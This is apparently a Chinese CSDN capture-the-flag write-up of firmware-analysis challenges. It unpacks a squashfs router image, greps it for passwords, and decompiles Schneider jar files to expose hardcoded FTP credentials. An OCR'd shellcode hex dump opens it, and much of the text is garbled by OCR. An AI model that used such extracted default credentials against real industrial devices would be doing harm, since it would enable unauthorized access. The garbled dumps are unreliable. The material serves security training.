EB	12	0f	BE	СВ	C1	CA	OD	80	FB	61	8D	41	ЕO	0F	4C		a.A.	L						
C1	03	DO	46	8A	1E	84	DB	75	E8	5E	8B	C2	5B	С3	8D		Fu.^[[
41	F8	C3	55	8B	EC	83	EC	14	53	56	57	89	4D	F4	64		AUSVW.M	1.d						
A1	30	02	02	02	89	45	FC	8B	45	FC	8B	40	0C	8B	40		.0EE@.	@						
14	8B	F8	89	45	EC	8B	CF	E8	D2	FF	FF	FF	8B	3F	8B		E	.?.						
70	18	85	F6	74	4F	8B	46	3C	8B	5C	30	78	85	DB	74		ptO.F<. $\$.t						
44	8B	4C	33	0C	03	CE	E8	8E	FF	FF	FF	8B	4C	33	20		D.L3L	13						
89	45	F8	03	CE	33	C0	89	4D	FO	89	45	FC	39	44	33		.E3ME.9	9D3						
18	76	22	8B	0C	81	03	CE	E8	6D	FF	FF	FF	03	45	F8		.v"m	Е.						
39	45	F4	74	1C	8B	45	FC	8B	4D	FO	40	89	45	FC	3в		9E.tEM.@.E	S.;						
44	33	18	72	DE	3в	7D	EC	75	9C	33	C0	5F	5E	5B	C9		D3.r.;}.u.3^	۲ ۲ ۰						
C3	8B	4D	FC	8B	44	33	24	8D	04	48	0F	в7	0C	30	8B		MD3\$H	.0.						
44	33	1C	8D	04	88	8B	04	30	03	C6	EB	DF	20	02	02		D30				未能认	别的数据		
02	33	02	02	02	38	02	02	02	75	73	65	72	33	32	2E		.38user3	32.			当前纲	扁码:[Hex+	+ Ascii]	
64	6C	6C	02	66	6C	61	67	7B	34	39	62	61	35	39	61		dll.flag{49ba5	59a			数据	<度:374 B	vtes	
62	62	65	35	36	65	30	35	37	7D	02	79	6F	75	20	67		bbe56e057}.you	ıg			+=== / (1 + 2)	- 10 + 10	1.0	
6F	74	20	69	74	21											L.	ot it!				插件到	又:18,耗時	J: Ums	
																						CS	DN @求	形

```
固件分析
```

丢失的密码

无头的密码	70 分値 已解答	- 🛛 ×
	🔧 赣电东西 🛛 🖓 新起点 🗤 JXCFS	
	小明作为工厂运维人员,对路由器固件进行升级操作。升级后尝试使用默认帐户信息以ad min / admin身份登录以设置路由器,但无法连接。分析原因并获取帐户信息。密码即为 flag。 CSDN @	◎末 初

Pootemochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网防件/面件分析+ cd 丢失的密码/ root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网防件/面件分析/丢失的密码/ root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网防件/面件分析/丢失的密码# ls 6ddc8915f6ccce78785f8f4c97d466d.ppg 82283ae06244ef7ff597d73acuca7063303625165.7z takeme.bin root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网防件/面件分析/丢失的密码# file takeme.bin takeme.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 9714066 bytes, 1928 inodes, blocksize: 262144 bytes, created: Fri Sep 24 11:57:14 2021 root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网防件/面件分析/丢失的密码#

Squashfs filesystem

中文维基百科Facebook粉丝专页型正式上线,邀请大家一同关注。

SquashFS [##]

维基百科,自由的百科全书

Squashfs (.sfs) 是一套供Linux核心使用的GPL开源只读压缩文件系统。Squashfs能够为文件系统内的文件、inode及目录结构进行压缩,并支持最大1024千字节的区段,以提供更大的压缩比。 Squashfs的设计是专门为一般的只读文件系统的使用而设计,它可应用于数据备份,或是系统资源紧张的电脑上使用。最初版本的Squashfs采用 gzip 的数据压缩。版本 2.6.34 之后的Linux内核增加了对 LZMA^[1]和 LZO^[2]压缩算法的支持,版本 2.6.38 的内核增加了对LZMA2的支持,该算法同时也是xz使用的压缩算法。^[3]

版本 2.6.35 之后的内核包含的Squashfs增加了扩展文件属性支持。[4]

用途 [編輯]

Squashfs常被用于各Linux发行版的LiveCD中,也用于OpenWrt和DD-WRT的路由器固件。Chromecast也是该文件系统的用户。

CSDN @末 初

squashfs文件的解压和压缩

原创 中原壹点红 2020-11-05 11:09:	1 🧿 37013 🌪 收藏 1		版权
分类专栏: Linux 文章标签:	Itraiso linux shell		
Linux 专栏收录该内容	3 订阅	12 篇文章 订阅	专栏

解压:

压缩:

mksquashfs /被压缩的目录 file.squashfs(压缩后的文件名称)

unsquashfs takeme.bin 可直接解压

nochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/固件分析/丢失的密码# unsquashfs takeme.bin Parallel unsquashfs: Using 12 processors 1624 inodes (1656 blocks) to write create_inode: failed to create character device squashfs-root/squashfs-root/dev/console, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/loop0, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/mtd, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/mtdblock1. because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/null, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ppp, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ptmx, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ptyp0, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ptyp1, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ptyp2, because operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ptyp3, because operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ptyp4, because operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/ram, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/ram0, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/ram1, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/ram2, because Operation not permitted create_inode: failed to create block device squashfs-root/squashfs-root/dev/ram3, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/rtl865x, because Operation not permitted create inode: failed to create character device squashfs-root/squashfs-root/dev/ttvS0, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ttyS1, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ttyp0, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ttyp1, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ttyp2, because Operation not permitted create_inode: failed to create character device squashfs-root/squashfs-root/dev/ttyp3, because Operation not permitted CSDN @末初



addmac.html addmanual.html addsoute.html addsoute.html adduser advartise afp.html ajax-loader.gif alert.png apache.html apcpd apache.html apcpd apply.ani.gif apsfy.html apsfy.html apsfy.ani.gif	<pre>expertconf_hostscan.lang.js expertconf_iptv.js expertconf_iptv.lang.js expertconf.js expertconf.ptpvpn_help.html expertconf_ptpvpn.js expertconf_remotepc_help.html expertconf_remotepc_is expertconf_remotepc.js expertconf_remotepc.lang.js explorerbg2.gif expr extpr extpr extendsetup.html external.png extm extmg extma extmg extm extmg extma extmg extmg extmg extmg extmg extmg extmg extmg extmg extmg extmg extmg extma extmg extmg extma extmg extmg extmg extma extmg extma extmg extma extmg extma extmg extma extma extma extma extma extma extma extma extma extma extma extma extma extma extma extma extma extma ex</pre>	jquery.mobile-1.4.5.min.css jquery.mobile-1.4.5.min.js jquery.mobile.css jquery.selectlist.js js kill klog killall klog kr.js lang lang j laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo laninfo	<pre>miniupnpd.conf miniupnpd.conf minus_icon.green.png minus_icon.png mispel-linu-uclibc misc misc.tml mkdir mknod m_login.cpi mobile.css mobile.css mobile.css mobile.js modify.ntnl modilyoute.tml modilyoute</pre>	os dosonoff.html dosonoff.html radio_off.png radio_off.png ram ram ram ram rcs rcs realtime.html refboot reffresh.0.png redister off	<pre>trafficconf_qos_help.html trafficconf_qos.ls trafficconf_gos.ls trafficconf_switch_help.html trafficconf_switch.ls trafficconf_switch.ls trigger_of.ng trigger_on.png triggerstatus.html triggerstatus.html true ttyp0 ttyp1 ttyp2 ttyp3 ttyp4 </pre>	
apscan	extra.png	LAN_ON.png	modules	refresh_0.png	ttyp4	CSDN @末 初
apscan.gif	ez-ipupdate	last_line.gif	mount	register.gif	ttyS0	
arp_protection	fakedns	last_minus.gif	mtd	remove.gif	ttyS1	

解压后得到一个 squashfs-root 文件夹,下面有很多文件;还是老方法

grep -rn '^password.*' ./*

root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/固件分析/丢失的密码/squashfs-root	
root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/固件分析/丢失的密码/squashfs-root# grep -rn '	<pre>`password.*' ./*</pre>
grep: ./busybox: binary file matches	
grep: ./ez-ipupdate: binary file matches	
./iconfig.cfg:23:password=hacked123	
grep: ./iux_set.cgi: binary file matches	
grep: ./libcgi.so: binary file matches	
grep: ./libuClibc-0.9.30.3.so: binary file matches	
grep: ./libuserland.so: binary file matches	
grep: ./login_session.cgi: binary file matches	
grep: ./m.cgi: binary file matches	
grep: ./pppd: binary file matches	
grep: ./squashfs-root/bin/busybox: binary file matches	
grep: ./squashfs-root/cgibin/login_session.cgi: binary file matches	
grep: ./squashfs-root/cgibin/m.cgi: binary file matches	
./squashfs-root/default/etc/iconfig.cfg:23:password=Wld0b2J5NWllV1YwZER4	
grep: ./squashfs-root/home/httpd/cgi/iux_set.cgi: binary file matches	
grep: ./squashfs-root/lib/libcgi.so: binary file matches	
grep: ./squashfs-root/lib/libuClibc-0.9.30.3.so: binary file matches	
grep: ./squashfs-root/lib/libuserland.so: binary file matches	
grep: ./squashfs-root/sbin/ez-ipupdate: binary file matches	
grep: //squashfs-root/sbin/popd: binary file matches	
root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/固件分析/丢失的密码/squashfs-root#	CSDN @ # 初
	CODIT @A M

ifconfig.cfg 文件很明显是配置文件,提交flag

flag{WldOb2J5NWllV1YwZER4}

工业固件分析



PowerShell ×	🔦 kali-linux	× + ~						
root@mochu7-pc:/mnt/c/Users/Administrator/Desktop/工业互联网附件/固件分析/工业固件分析# ls -lha total 9.7M								
drwxrwxrwx 1 1000 root 5	12 Oct 5 02:43 .							
drwxrwxrwx 1 1000 root 5	12 Sep 29 10:45							
-rwxrwxrwx 1 1000 root 12	9K Sep 29 16:26 3807d	31d451aaa04b042710aaea5a0a.png						
-rwxrwxrwx 1 1000 root 3.	2M Sep 29 10:44 9dede	b49ec7f30a87588aa6e15e10bb5dad65be4.zip						
drwxrwxrwx 1 1000 root 5	12 Oct 5 02:43 firm							
-rwxrwxrwx 1 1000 root 3.	2M Apr 21 2020 firm.	ldx						
-rwxrwxrwx 1 1000 root 3.	2M Apr 21 2020 firm.	zip						
root@mochu7-pc:/mnt/c/Use	rs/Administrator/Desk	top/工业互联网附件/固件分析/工业固件分析# file firm.ldx						
firm.ldx: Zip archive dat	a, at least v2.0 to e	xtract						
root@mochu7-pc:/mnt/c/Use	rs/Administrator/Desk	top/工业互联网附件/固件分析/工业固件分析# (SDN @末 初						

```
修改后缀为 zip 解压,在 \firm\Web\wwwroot\classes 发现一堆 jar 文件
```

此电	齒 → 桌面 → 工业互联网附件 → 固件分析 →	工业固件分析 > firm >	Web → wwwroot	> classes	
^	へ 名称	修改日期	类型	大小	
	🕌 JL.jar	2015/4/7 22:35	Executable Jar File	13 KB	
	🕌 RDE.jar	2015/4/6 22:48	Executable Jar File	154 KB	
	🕌 rdelite.jar	2015/4/6 22:48	Executable Jar File	115 KB	
	🕌 SAComm.jar	2015/4/7 22:35	Executable Jar File	298 KB	
	🕌 SysDiag.jar	2015/4/7 22:35	Executable Jar File	595 KB	
	🕌 sysSetup.jar	2015/4/7 22:35	Executable Jar File	135 KB	
	🕌 webdiag.jar	2015/4/6 22:48	Executable Jar File	59 KB	
	🕌 XMLParser.jar	2015/4/3 23:10	Executable Jar File	52 KB	

CSDN @末 初

使用 jd-gui 之类的反编译软件来反编译 jar 包

• https://github.com/java-decompiler/jd-gui/releases

一个个看看吧,我也不知道有什么技巧这里,找出来了的

在 SAComm.jar 包发现了ftp的账户和密码

👉 GlobalConfig.class - Java Decompiler

<pre></pre>	File Edit Navigation Search Help		
■ retting jer 20 ■ Statum jer 20 ■ the distribution of the status in the st			
<pre>private static String m_tryster static String m_t</pre>	🐱 vebdiag. jar 🛛 🐱 SAComm. jar 🕅		
0 - 0 - 4 - 4 package com.schedderustion.misc; 0 - 0 - 175*sin.al.prist. 0 - interflue 0 - 0 - 0 - 0 - 0 - 0 - 0 - 0 - 0 - 0 -	🖶 🖶 META-INF 🕂 🦶 com. schneiderautomation	🔐 FIPSession. class 🛛 🕍 FIPSessionErrors. class 🖄 👘 FileInfo. class 🖄 🏠 PtpSessionException. cl	ass 🛛 🖞 PtpSessionLoginException. class 🛛 🏠 Global
Image: Section Class Public first class Image: Section Class Public static inf MIX_POLING_DELAY = 10; Image: Section Class Public static inf MIX_POLING_DELAY = 10; Image: Section Class Public static inf MIX_POLING_DELAY = 10; Image: Section Class Public static inf MIX_POLING_DELAY = 10; Image: Section Class Public static String m_ftpRoot = "; Image: Section Class Private static String m_ftpRosumed = "systam;; Image: Section Class Private static String m_ftpRosumed = "factorycast@schneider"; Image: Section Class Private static String m_nespacefile = "/namspace.dat"; Image: Section Class Private static String m_nespacefile = "/namspace.dat"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String m_language = "en"; Image: Section Class Private static String section String getTipRoot() (<td>⊕ ∰ dt ⊕ ∰ factoryeast ⊖ ∰ fapsesion</td> <td><pre>package com.schneiderautomation.misc; @ import java.applet.Applet; import java.util.icole;</pre></td> <td></td>	⊕ ∰ dt ⊕ ∰ factoryeast ⊖ ∰ fapsesion	<pre>package com.schneiderautomation.misc; @ import java.applet.Applet; import java.util.icole;</pre>	
<pre>private static String m_ftpRoot = ""; private static String m_ftpRoot = ""; private static String m_ftpRoot = "factorycast@schneider"; private static String m_passFile = "/rdt/password.rde"; private static String m_namespaceFile = "/namespace.dat"; private static String m_language = "en"; private static Calle m_locale = locale.getDefault(); private static Applet m_applet = null; public static synchronized void setFtpNoot() { ff (paramString != null) ff (paramString != namString; ff (paramString != namString; ff (paramString != namString) ff (paramString != namString) ff (paramString != naramString) ff (paramStrin</pre>	 tres the TPSession.class the TPSession.frow.class the TPSession.frow.class the TPSession.frow.class the TPSession.from class the TPSession.from the TPSession.from class 	<pre>public final class GlobalConfig { public static int MIN_POLIING_DELAY = 10; public static int MAX_POLIING_DELAY = 10000;</pre>	
<pre>private static String m_ttplogtn = "systage;' private static String m_ttplogtn = "systage;' private static String m_ttplogtn = "systage;' private static String m_ttplogtn = "ratfile"; private static String m_namespacefile = "/namspace.dat"; private static String m_language = "en"; private static String m_language = "en"; private static String m_language = "en"; private static Applet mult; private static Applet mult; private static synchronized void setftpRoot(String paramString) { if (paramString != null) m_ftpRoot; } public static synchronized void setftpUser(String paramString) { if (paramString != null) m_tplogtin != null mult mult mult mult mult mult mult mult mult</pre>	Compression Configuration Constant	<pre>private static String m_ftpRoot = "";</pre>	
<pre>private static String m_passFile = "/rdt/password.rde"; private static String m_namespaceFile = "/rdt/password.rde"; private static String m_namespaceFile = "/rdt/password.rde"; private static String m_namespaceFile = "/rdt/password.rde"; private static String m_language = "en"; private static Corale m_locale = Locale.getDefault(); private static Applet = null; public static synchronized void setFtpRoot(String paramString) { if (paramString != null) m_ftpRoot; } public static synchronized void setFtpUser(String paramString) { if (paramString != null) m_ftpRoot; } public static synchronized void setFtpUser(String paramString) { if (paramString != null) m_ftpRoot; } </pre>	And Analytic Control Control	private static String m_ftplogin = "sysdiag"; private static String m_ftpPassword = "factorycast@schneider";	
<pre>private static String m_language = "en"; private static Locale m_locale = Locale.getDefault(); private static Applet m_applet = null; public static synchronized void setFtpRoot(String paramString) { if (paramString != null) m_ftpRoot; } public static synchronized String getFtpRoot() { return m_ftpRoot; } public static synchronized void setFtpUser(String paramString) { if (paramString != null) m_ftplogin = paramString; } CSDN @末初</pre>	B ⊕ vars B ⊕ DumanyApplet.class B ⊕ DumanyApplet	<pre>private static String m_passFile = "/rdt/password.rde"; private static String m_namespaceFile = "/namspace.dat";</pre>	
<pre>private static totale =totale =t</pre>		private static String m_language = "en";	
 public static synchronized void setFtpRoot(String paramString) { if (paramString != null) m ftpRoot = paramString; } public static synchronized String getFtpRoot() { return m ftpRoot; } public static synchronized void setFtpUser(String paramString) { if (paramString != null)		<pre>private static found m_source = count-sector bar(); private static Applet m_applet = null;</pre>	
 public static synchronized String getFtpRoot() { return m ftpRoot; } public static synchronized void setFtpUser(String paramString) { if (paramString != null) m ftplogin = paramString; } CSDN @末初 		<pre>public static synchronized void setFtpRoot(String paramString) { if (paramString != null) <u>m_ftpRoot</u> = paramString; } </pre>	
<pre>public static synchronized void setFtpUser(String paramString) { if (paramString != null) <u>m_ftplogin</u> = paramString; } CSDN @末初</pre>		<pre>public static synchronized String getFtpRoot() { return <u>m ftpRoot; } </u></pre>	
		<pre>public static synchronized void setFtpUser(String paramString) { if (paramString != null) <u>m ftplogin</u> = paramString; } </pre>	CSDN @末 初

flag{sysdiag+factorycast@schneider}